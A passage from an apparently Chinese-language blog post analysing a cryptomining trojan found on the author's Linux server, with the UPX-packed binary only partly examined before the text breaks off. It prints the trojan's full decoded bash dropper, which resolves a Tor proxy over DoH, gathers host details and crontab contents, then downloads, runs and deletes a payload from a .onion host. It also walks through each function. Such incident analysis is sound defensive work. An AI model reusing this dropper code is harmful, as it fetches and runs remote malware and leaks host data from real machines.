\u7f16\u7801\u540e\u7684\u547d\u4ee4\uff0c\u89e3\u5f00\u4e4b\u540e\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n<\/pre><\/td><td class=\"rouge-code\"><pre>jeAozqLbO5Ni2rtDL7lwAMXluzYQMl\n<span class=\"nb\">exec<\/span> &amp;&gt;\/dev\/null\n<span class=\"nb\">export <\/span><span class=\"nv\">PATH<\/span><span class=\"o\">=<\/span><span class=\"nv\">$PATH<\/span>:<span class=\"nv\">$HOME<\/span>:\/bin:\/sbin:\/usr\/bin:\/usr\/sbin:\/usr\/local\/bin:\/usr\/local\/sbin\n\n<span class=\"nv\">d<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">grep <\/span>x:<span class=\"si\">$(<\/span><span class=\"nb\">id<\/span> <span class=\"nt\">-u<\/span><span class=\"si\">)<\/span>: \/etc\/passwd|cut <span class=\"nt\">-d<\/span>: <span class=\"nt\">-f6<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">c<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">\"curl -4fsSLkA- -m200\"<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">t<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">\"bggts547gukhvmf4cgandlgxxphengxovoyo6ewhns5qmmb2b5oi43yd\"<\/span><span class=\"si\">)<\/span>\n\nsockz<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n<span class=\"nv\">n<\/span><span class=\"o\">=(<\/span>doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com <span class=\"k\">fi<\/span>.doh.dns.snopyta.org resolver-eu.lelux.\n<span class=\"k\">fi <\/span>doh.li dns.digitale-gesellschaft.ch<span class=\"o\">)<\/span>\n<span class=\"nv\">p<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">\"dns-query?name=relay.tor2socks.in\"<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">s<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nv\">$c<\/span> https:\/\/<span class=\"k\">${<\/span><span class=\"nv\">n<\/span><span class=\"p\">[<\/span><span class=\"k\">$((<\/span>RANDOM%11<span class=\"k\">))<\/span><span class=\"p\">]<\/span><span class=\"k\">}<\/span>\/<span class=\"nv\">$p<\/span> | <span class=\"nb\">grep<\/span> <span class=\"nt\">-oE<\/span> <span class=\"s2\">\"<\/span><span class=\"se\">\\b<\/span><span class=\"s2\">([0-9]{1,3}<\/span><span class=\"se\">\\.<\/span><span class=\"s2\">){3}[0-9]{1,3}<\/span><span class=\"se\">\\b<\/span><span class=\"s2\">\"<\/span> |tr <span class=\"s1\">' '<\/span> <span class=\"s1\">'\\n'<\/span>|grep <span class=\"nt\">-Ev<\/span> <span class=\"o\">[<\/span>.]0|sort <span class=\"nt\">-uR<\/span>|head <span class=\"nt\">-n<\/span> 1<span class=\"si\">)<\/span>\n<span class=\"o\">}<\/span>\n\nfexe<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n<span class=\"k\">for <\/span>i <span class=\"k\">in<\/span> <span class=\"nb\">.<\/span> <span class=\"nv\">$HOME<\/span> \/usr\/bin <span class=\"nv\">$d<\/span> \/var\/tmp <span class=\"p\">;<\/span><span class=\"k\">do <\/span><span class=\"nb\">echo exit<\/span> <span class=\"o\">&gt;<\/span> <span class=\"nv\">$i<\/span>\/i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$i<\/span>\/i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">cd<\/span> <span class=\"nv\">$i<\/span> <span class=\"o\">&amp;&amp;<\/span> .\/i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span> i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">break<\/span><span class=\"p\">;<\/span><span class=\"k\">done<\/span>\n<span class=\"o\">}<\/span>\n\nu<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\nsockz\n<span class=\"nv\">f<\/span><span class=\"o\">=<\/span>\/int.<span class=\"si\">$(<\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-m<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">x<\/span><span class=\"o\">=<\/span>.\/<span class=\"si\">$(<\/span><span class=\"nb\">date<\/span>|md5sum|cut <span class=\"nt\">-f1<\/span> <span class=\"nt\">-d-<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">r<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span>curl <span class=\"nt\">-4fsSLk<\/span> checkip.amazonaws.com||curl <span class=\"nt\">-4fsSLk<\/span> ip.sb<span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">whoami<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-m<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-n<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span>ip a|grep <span class=\"s1\">'inet '<\/span>|awk <span class=\"o\">{<\/span><span class=\"s1\">'print $2'<\/span><span class=\"o\">}<\/span>|md5sum|awk <span class=\"o\">{<\/span><span class=\"s1\">'print $1'<\/span><span class=\"o\">}<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span>crontab <span class=\"nt\">-l<\/span>|base\n64 <span class=\"nt\">-w0<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">$c<\/span> <span class=\"nt\">-x<\/span> socks5h:\/\/<span class=\"nv\">$s<\/span>:9050 <span class=\"nv\">$t<\/span>.onion<span class=\"nv\">$f<\/span> <span class=\"nt\">-o<\/span><span class=\"nv\">$x<\/span> <span class=\"nt\">-e<\/span><span class=\"nv\">$r<\/span> <span class=\"o\">||<\/span> <span class=\"nv\">$c<\/span> <span class=\"nv\">$1$f<\/span> <span class=\"nt\">-o<\/span><span class=\"nv\">$x<\/span> <span class=\"nt\">-e<\/span><span class=\"nv\">$r<\/span>\n<span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$x<\/span><span class=\"p\">;<\/span><span class=\"nv\">$x<\/span><span class=\"p\">;<\/span><span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span> <span class=\"nv\">$x<\/span>\n<span class=\"o\">}<\/span>\n\n<span class=\"k\">for <\/span>h <span class=\"k\">in <\/span>tor2web.in tor2web.it\n<span class=\"k\">do\nif<\/span> <span class=\"o\">!<\/span> <span class=\"nb\">ls<\/span> \/proc\/<span class=\"si\">$(<\/span><span class=\"nb\">head<\/span> <span class=\"nt\">-n<\/span> 1 \/tmp\/.X11-unix\/01<span class=\"si\">)<\/span>\/status<span class=\"p\">;<\/span> <span class=\"k\">then\n<\/span>fexe<span class=\"p\">;<\/span>u <span class=\"nv\">$t<\/span>.<span class=\"nv\">$h<\/span>\n<span class=\"nb\">ls<\/span> \/proc\/<span class=\"si\">$(<\/span><span class=\"nb\">head<\/span> <span class=\"nt\">-n<\/span> 1 \/tmp\/.X11-unix\/01<span class=\"si\">)<\/span>\/status <span class=\"o\">||<\/span> <span class=\"o\">(<\/span><span class=\"nb\">cd<\/span> \/tmp<span class=\"p\">;<\/span>u <span class=\"nv\">$t<\/span>.<span class=\"nv\">$h<\/span><span class=\"o\">)<\/span>\n<span class=\"nb\">ls<\/span> \/proc\/<span class=\"si\">$(<\/span><span class=\"nb\">head<\/span> <span class=\"nt\">-n<\/span> 1 \/tmp\/.X11-unix\/01<span class=\"si\">)<\/span>\/status <span class=\"o\">||<\/span> <span class=\"o\">(<\/span><span class=\"nb\">cd<\/span> \/dev\/shm<span class=\"p\">;<\/span>u <span class=\"nv\">$t<\/span>.<span class=\"nv\">$h<\/span><span class=\"o\">)<\/span>\n<span class=\"k\">else\n<\/span><span class=\"nb\">break\n<\/span><span class=\"k\">fi\ndone<\/span>\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u7b2c\u4e00\u884c\u968f\u673a\u5b57\u7b26\u4e32\u662f\u5e72\u561b\u7684\uff0c\u6211\u6682\u4e14\u4e0d\u77e5\u9053\uff0c\u8fd9\u6837\u5e94\u8be5\u4f1a\u5931\u8d25\u5427..<\/p>\n\n<p>\u4e5f\u4e0d\u4e00\u5b9a\uff0c\u9664\u975e\uff0c\u9664\u975e\u8fd9\u662f\u4e2a\u53ef\u6267\u884c\u6587\u4ef6 :)<\/p>\n\n<p>\u90a3\u4e48\u641c\u4e00\u4e0b\u6709\u6ca1\u6709\u8fd9\u4e2a\u53ef\u6267\u884c\u6587\u4ef6<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>find \/ 2&gt;\/dev\/null |grep jeAozqLbO5Ni2rtDL7lwA\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u53d1\u73b0\u4e86\u53e6\u5916\u7684\u6709\u8da3\u7684\u4e1c\u897f<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210712154430.png\" alt=\"\" \/><\/p>\n\n<p>\u518d\u4ed4\u7ec6\u770b\u770b\uff0c\u597d\u5bb6\u4f19\uff0c\u8fd8\u6709\u540e\u624b<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210712154419.png\" alt=\"\" \/><\/p>\n\n<p>\u66f4\u574f\u7684\u6d88\u606f\u662f\uff0c\u73b0\u5728\u5e94\u8be5\u521a\u8fc7\u4e8615:29\uff0c\u53ef\u80fd\u4ed6\u53c8\u542f\u52a8\u4e86<\/p>\n\n<p>\u518d\u770b\u4e00\u770b\u8fdb\u7a0b\u5217\u8868\uff0c\u679c\u7136\u3002<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210712155201.png\" alt=\"\" \/><\/p>\n\n<p>\u8981\u4e0d\u662f\u6211\u60f3\u7740\u6478\u9c7c\u5199\u4e00\u7bc7\u6587\u7ae0\u8bb0\u5f55\u4e0b\uff0c\u6211\u53ef\u80fd\u5c31\u5df2\u7ecf\u8dd1\u8def\uff0c\u770b\u4e0d\u5230\u8fd9\u4e2a\u5267\u60c5\u4e86 :)<\/p>\n\n<p>\u8fd9\u6b21\u4e0d\u80fd\u8f7b\u6613\u7684\u653e\u8fc7\u4ed6\u4e86 :)<\/p>\n\n<p>\u5148\u4e0d\u6025\u7740\u6740\u6389\u4ed6\uff0c\u628a\u4ed6\u7684\u4e8c\u8fdb\u5236\u641e\u51fa\u6765\u5206\u6790\u5206\u6790<\/p>\n\n<p>\u867d\u7136\u6587\u4ef6\u88ab\u5220\u4e86\uff0c\u4f46\u662f\u4ed6\u7684\u6587\u4ef6\u63cf\u8ff0\u7b26\u8fd8\u5728\uff0c\u6240\u4ee5\u76f4\u63a5\u628a\u4ed6\u590d\u5236\u51fa\u6765\u770b\u770b\uff0c\u6211\u89c9\u5f97\u53c8\u53ef\u4ee5\u4e22\u7ed9\u66fe\u5927\u4f6c\u73a9\u4e86 :)<img src=\"https:\/\/static.scuseek.com\/20210712155342.png\" alt=\"\" \/><\/p>\n\n<p>\u5c0f\u63d2\u66f2\u89e3\u51b3\u6389\u4e86\uff0c\u90a3\u4e48\u7ee7\u7eed\u5206\u6790 bash \u811a\u672c\u3002<\/p>\n\n<p>\u4e3a\u4e86\u65b9\u4fbf\u9605\u8bfb\uff0c\u6211\u66ff\u6362\u4e86\u4e00\u4e9b\u53d8\u91cf\u540d\uff0c\u539f\u59cb\u7684 bash \u811a\u672c\u53ef\u4ee5\u770b\u524d\u9762\u89e3\u7801\u7684\u5185\u5bb9 :)<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n<\/pre><\/td><td class=\"rouge-code\"><pre>sockz<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n<span class=\"nv\">n<\/span><span class=\"o\">=(<\/span>doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com <span class=\"k\">fi<\/span>.doh.dns.snopyta.org resolver-eu.lelux.\n<span class=\"k\">fi <\/span>doh.li dns.digitale-gesellschaft.ch<span class=\"o\">)<\/span>\n<span class=\"nv\">p<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nb\">echo<\/span> <span class=\"s2\">\"dns-query?name=relay.tor2socks.in\"<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">s<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span><span class=\"nv\">$c<\/span> https:\/\/<span class=\"k\">${<\/span><span class=\"nv\">n<\/span><span class=\"p\">[<\/span><span class=\"k\">$((<\/span>RANDOM%11<span class=\"k\">))<\/span><span class=\"p\">]<\/span><span class=\"k\">}<\/span>\/<span class=\"nv\">$p<\/span> | <span class=\"nb\">grep<\/span> <span class=\"nt\">-oE<\/span> <span class=\"s2\">\"<\/span><span class=\"se\">\\b<\/span><span class=\"s2\">([0-9]{1,3}<\/span><span class=\"se\">\\.<\/span><span class=\"s2\">){3}[0-9]{1,3}<\/span><span class=\"se\">\\b<\/span><span class=\"s2\">\"<\/span> |tr <span class=\"s1\">' '<\/span> <span class=\"s1\">'\\n'<\/span>|grep <span class=\"nt\">-Ev<\/span> <span class=\"o\">[<\/span>.]0|sort <span class=\"nt\">-uR<\/span>|head <span class=\"nt\">-n<\/span> 1<span class=\"si\">)<\/span>\n<span class=\"o\">}<\/span>\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p><code class=\"language-plaintext highlighter-rouge\">sockz<\/code>\u51fd\u6570\u770b\u8d77\u6765\u662f\u60f3\u8981\u901a\u8fc7 doh \u67e5\u8be2 ip,\u8fd9\u4e00\u62db\u53ef\u4ee5\u8bf4\u662f\u5f88\u5999\u4e86\uff0c\u76f4\u63a5\u7ed5\u8fc7\u4e86\u5404\u5927\u5382\u5546IDS\u91cc\u9762\u6076\u610f\u57df\u540d\u7684 IOC\u3002\u5176\u4e2d <code class=\"language-plaintext highlighter-rouge\">dns.rubyfish.cn<\/code> \u8fd9\u4e2a\u57df\u540d\uff0c\u4ee5\u53ca\u540e\u9762\u51fa\u73b0\u7684<code class=\"language-plaintext highlighter-rouge\">ip.sb<\/code>\uff0c\u8fd9\u4e24\u4e2a\u57df\u540d\u5728\u56fd\u5185\u7684\u4e92\u8054\u7f51\u5708\u5b50\u91cc\u9762\u53ef\u80fd\u6bd4\u8f83\u6d41\u884c\uff0c\u6682\u4e0d\u6e05\u695a\u5728\u56fd\u5916\u7684\u77e5\u540d\u5ea6\u6709\u591a\u5c11\u3002\u6240\u4ee5\u6211\u53ef\u80fd\u6bd4\u8f83\u503e\u5411\u4e8e\u8fd9\u4e2a\u6316\u77ff\u6728\u9a6c\u662f\u56fd\u5185\u7684\u9ed1\u4ea7\u56e2\u961f\u641e\u7684\u3002<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n<\/pre><\/td><td class=\"rouge-code\"><pre>fexe<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\n<span class=\"k\">for <\/span>i <span class=\"k\">in<\/span> <span class=\"nb\">.<\/span> <span class=\"nv\">$HOME<\/span> \/usr\/bin \/root \/var\/tmp <span class=\"p\">;<\/span><span class=\"k\">do <\/span><span class=\"nb\">echo exit<\/span> <span class=\"o\">&gt;<\/span> <span class=\"nv\">$i<\/span>\/i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">chmod<\/span> +x <span class=\"nv\">$i<\/span>\/i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">cd<\/span> <span class=\"nv\">$i<\/span> <span class=\"o\">&amp;&amp;<\/span> .\/i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span> i <span class=\"o\">&amp;&amp;<\/span> <span class=\"nb\">break<\/span><span class=\"p\">;<\/span><span class=\"k\">done<\/span>\n<span class=\"o\">}<\/span>\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p><code class=\"language-plaintext highlighter-rouge\">fexe<\/code> \u770b\u8d77\u6765\u662f\u5728\u8fd9\u51e0\u4e2a\u8def\u5f84\u91cc\u9762\u5bfb\u627e\u4e00\u4e2a\u6709\u8bfb\u5199\u6743\u9650\u7684\u8def\u5f84\u3002<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n<\/pre><\/td><td class=\"rouge-code\"><pre>u<span class=\"o\">()<\/span> <span class=\"o\">{<\/span>\nsockz\n<span class=\"nv\">f<\/span><span class=\"o\">=<\/span>\/int.<span class=\"si\">$(<\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-m<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">x<\/span><span class=\"o\">=<\/span>.\/<span class=\"si\">$(<\/span><span class=\"nb\">date<\/span>|md5sum|cut <span class=\"nt\">-f1<\/span> <span class=\"nt\">-d-<\/span><span class=\"si\">)<\/span>\n<span class=\"nv\">r<\/span><span class=\"o\">=<\/span><span class=\"si\">$(<\/span>curl <span class=\"nt\">-4fsSLk<\/span> checkip.amazonaws.com||curl <span class=\"nt\">-4fsSLk<\/span> ip.sb<span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">whoami<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-m<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-n<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span>ip a|grep <span class=\"s1\">'inet '<\/span>|awk <span class=\"o\">{<\/span><span class=\"s1\">'print $2'<\/span><span class=\"o\">}<\/span>|md5sum|awk <span class=\"o\">{<\/span><span class=\"s1\">'print $1'<\/span><span class=\"o\">}<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span>crontab <span class=\"nt\">-l<\/span>|base\n64 <span class=\"nt\">-w0<\/span><span class=\"si\">)<\/span>\ncurl <span class=\"nt\">-x<\/span> socks5h:\/\/<span class=\"nv\">$s<\/span>:9050 bggts547gukhvmf4cgandlgxxphengxovoyo6ewhns5qmmb2b5oi43yd.onion<span class=\"nv\">$f<\/span> <span class=\"nt\">-oevil_file_name<\/span> <span class=\"nt\">-e<\/span><span class=\"nv\">$r<\/span> <span class=\"o\">||<\/span> curl <span class=\"nv\">$1$f<\/span> <span class=\"nt\">-oevil_file_name<\/span> <span class=\"nt\">-e<\/span><span class=\"nv\">$r<\/span>\n<span class=\"nb\">chmod<\/span> +x evil_file_name<span class=\"p\">;<\/span>evil_file_name<span class=\"p\">;<\/span><span class=\"nb\">rm<\/span> <span class=\"nt\">-f<\/span> evil_file_name\n<span class=\"o\">}<\/span>\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u51fd\u6570 <code class=\"language-plaintext highlighter-rouge\">u()<\/code> \u662f\u4e3b\u8981\u5185\u5bb9\u4e86\uff0c\u4ed6\u751f\u6210\u4e86\u968f\u673a\u7684\u6587\u4ef6\u540d\uff0c\u901a\u8fc7 tor \u4ee3\u7406\uff0c\u6839\u636e\u8bbe\u5907\u7684\u67b6\u6784\u4e0b\u8f7d\u4e86\u4e00\u4e2a\u6076\u610f\u6587\u4ef6<code class=\"language-plaintext highlighter-rouge\">\/int.$(uname -m)<\/code>\uff0c\u5982<code class=\"language-plaintext highlighter-rouge\">\/int.x86_64<\/code>\uff0c\u7136\u540e\u6267\u884c\u8fd9\u4e2a\u6076\u610f\u6587\u4ef6\u5e76\u4e14\u5220\u9664\u4ed6\u3002<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n<\/pre><\/td><td class=\"rouge-code\"><pre><span class=\"si\">$(<\/span>curl <span class=\"nt\">-4fsSLk<\/span> checkip.amazonaws.com||curl <span class=\"nt\">-4fsSLk<\/span> ip.sb<span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">whoami<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-m<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span><span class=\"nb\">uname<\/span> <span class=\"nt\">-n<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span>ip a|grep <span class=\"s1\">'inet '<\/span>|awk <span class=\"o\">{<\/span><span class=\"s1\">'print $2'<\/span><span class=\"o\">}<\/span>|md5sum|awk <span class=\"o\">{<\/span><span class=\"s1\">'print $1'<\/span><span class=\"o\">}<\/span><span class=\"si\">)<\/span>_<span class=\"si\">$(<\/span>crontab <span class=\"nt\">-l<\/span>|base\n64 <span class=\"nt\">-w0<\/span><span class=\"si\">)<\/span>\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u8fd9\u4e00\u884c\u628a\u8bbe\u5907\u7684\u4e00\u4e9b\u57fa\u672c\u4fe1\u606f\u6253\u5305\u4e86\u4e00\u4e0b\uff0c\u5305\u62ec ip\u5730\u5740\u3001\u4e3b\u673a\u540d\u3001crontab\u5185\u5bb9\u3002\u8fd9\u91cc\u662f or \u7684\u5173\u7cfb\uff0c\u63a8\u6d4b\u662f\u5982\u679c\u6267\u884c\u5931\u8d25\u90a3\u5c31\u4e0a\u62a5\u8bbe\u5907\u4fe1\u606f\u3002<\/p>\n\n<div class=\"language-bash highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n<\/pre><\/td><td class=\"rouge-code\"><pre><span class=\"k\">for <\/span>h <span class=\"k\">in <\/span>tor2web.in tor2web.it\n<span class=\"k\">do\nif<\/span> <span class=\"o\">!<\/span> <span class=\"nb\">ls<\/span> \/proc\/<span class=\"si\">$(<\/span><span class=\"nb\">head<\/span> <span class=\"nt\">-n<\/span> 1 \/tmp\/.X11-unix\/01<span class=\"si\">)<\/span>\/status<span class=\"p\">;<\/span> <span class=\"k\">then\n<\/span>fexe<span class=\"p\">;<\/span>u <span class=\"nv\">$t<\/span>.<span class=\"nv\">$h<\/span>\n<span class=\"nb\">ls<\/span> \/proc\/<span class=\"si\">$(<\/span><span class=\"nb\">head<\/span> <span class=\"nt\">-n<\/span> 1 \/tmp\/.X11-unix\/01<span class=\"si\">)<\/span>\/status <span class=\"o\">||<\/span> <span class=\"o\">(<\/span><span class=\"nb\">cd<\/span> \/tmp<span class=\"p\">;<\/span>u <span class=\"nv\">$t<\/span>.<span class=\"nv\">$h<\/span><span class=\"o\">)<\/span>\n<span class=\"nb\">ls<\/span> \/proc\/<span class=\"si\">$(<\/span><span class=\"nb\">head<\/span> <span class=\"nt\">-n<\/span> 1 \/tmp\/.X11-unix\/01<span class=\"si\">)<\/span>\/status <span class=\"o\">||<\/span> <span class=\"o\">(<\/span><span class=\"nb\">cd<\/span> \/dev\/shm<span class=\"p\">;<\/span>u <span class=\"nv\">$t<\/span>.<span class=\"nv\">$h<\/span><span class=\"o\">)<\/span>\n<span class=\"k\">else\n<\/span><span class=\"nb\">break\n<\/span><span class=\"k\">fi\ndone<\/span>\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u7a0b\u5e8f\u6267\u884c\u6d41\u7a0b\u5c31\u6bd4\u8f83\u5bb9\u6613\u770b\u61c2\uff0c\u6839\u636e pid \u6587\u4ef6\u5224\u65ad\u7a0b\u5e8f\u662f\u5426\u542f\u52a8\u4e86\uff0c\u5982\u679c\u6ca1\u542f\u52a8\uff0c\u90a3\u4e48\u5c31\u542f\u52a8\u7a0b\u5e8f\u3002<\/p>\n\n<h1 id=\"\u4e8c\u8fdb\u5236\u6587\u4ef6\u5206\u6790\">\u4e8c\u8fdb\u5236\u6587\u4ef6\u5206\u6790<\/h1>\n\n<p>\u8fd9\u4e2a\u4e8c\u8fdb\u5236\u6587\u4ef6\u4ec0\u4e48\u90fd\u8fc7\u6ee4\u4e0d\u51fa\u6765\uff0c\u4f46\u662f\u8fc7\u6ee4\u51fa\u6765\u4e86\u4e00\u4e2a\u5b57\u7b26\u4e32\uff1a<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>PROT_EXEC|PROT_WRITE failed.\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210712171324.png\" alt=\"\" \/><\/p>\n\n<p>\u641c\u4e00\u4e0b\u8fd9\u4e2a\u5b57\u7b26\u4e32\uff0c\u53ef\u4ee5\u53d1\u73b0\u6709\u4eba\u5728 stackoverflow \u63d0\u4e86\u8fd9\u6837\u4e00\u4e2a<a href=\"https:\/\/unix.stackexchange.com\/questions\/419242\/strange-linux-binary\">\u95ee\u9898<\/a>\uff0c\u95ee\u9898\u7684\u5185\u5bb9\u91cc\u9762\u6709\u8fd9\u4e2a\u5173\u952e\u5b57<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n<\/pre><\/td><td class=\"rouge-code\"><pre>$strings exe_file\nUPX!\n.....\nPROT_EXEC|PROT_WRITE failed.\n$Info: This file is packed with the UPX executable packer http:\/\/upx.sf.net $\n$Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights Reserved. $\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u770b\u5230\u4e86 upx \u4e0d\u7981\u773c\u524d\u4e00\u4eae\uff0c\u6211\u4e4b\u524d\u5c31\u731c\u6d4b\u8fd9\u662f upx \u52a0\u58f3\u4e86\uff0c\u4f46\u662f\u53bb\u9664\u4e86 upx \u7684\u7279\u5f81\uff0c\u5bfc\u81f4\u8fc7\u6ee4\u4e0d\u51fa\u4efb\u4f55\u5173\u952e\u5b57\u6765\u3002<\/p>\n\n<p>\u90a3\u4e48 <code class=\"language-plaintext highlighter-rouge\">upx -d<\/code> \u4e00\u628a\u68ad<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210712171854.png\" alt=\"\" \/><\/p>\n\n<p>\u975e\u5e38\u68d2\uff0c\u4e0d\u80fd\u4e00\u952e\u8131\u58f3\uff0c\u90a3\u4e48\u6211\u641e\u4e0d\u52a8\u4e86 :)<\/p>\n\n<p>\u627e\u4e86\u4e9b upx \u53bb\u7279\u5f81\u7684\u5e16\u5b50\uff0c\u770b\u4e86\u540e\u6211\u4e0d\u60f3\u52a8\u624b\u4e86\uff0c\u592a\u591a\u53ef\u4ee5\u73a9\u7684\u5730\u65b9\u4e86<\/p>\n\n<p>\u9996\u5148\uff0c\u4ed6\u53ef\u80fd\u53bb\u6389\u4e86\u4e00\u4e9b upx \u8bc6\u522b\u81ea\u5df1\u538b\u7f29\u8fc7\u7684\u7279\u5f81\u5b57\u7b26\u4e32\uff0c\u4e0d\u8fc7\u8fd9\u4e2a\u53ef\u4ee5\u81ea\u5df1\u65b0\u5efa\u4e00\u4e2a upx 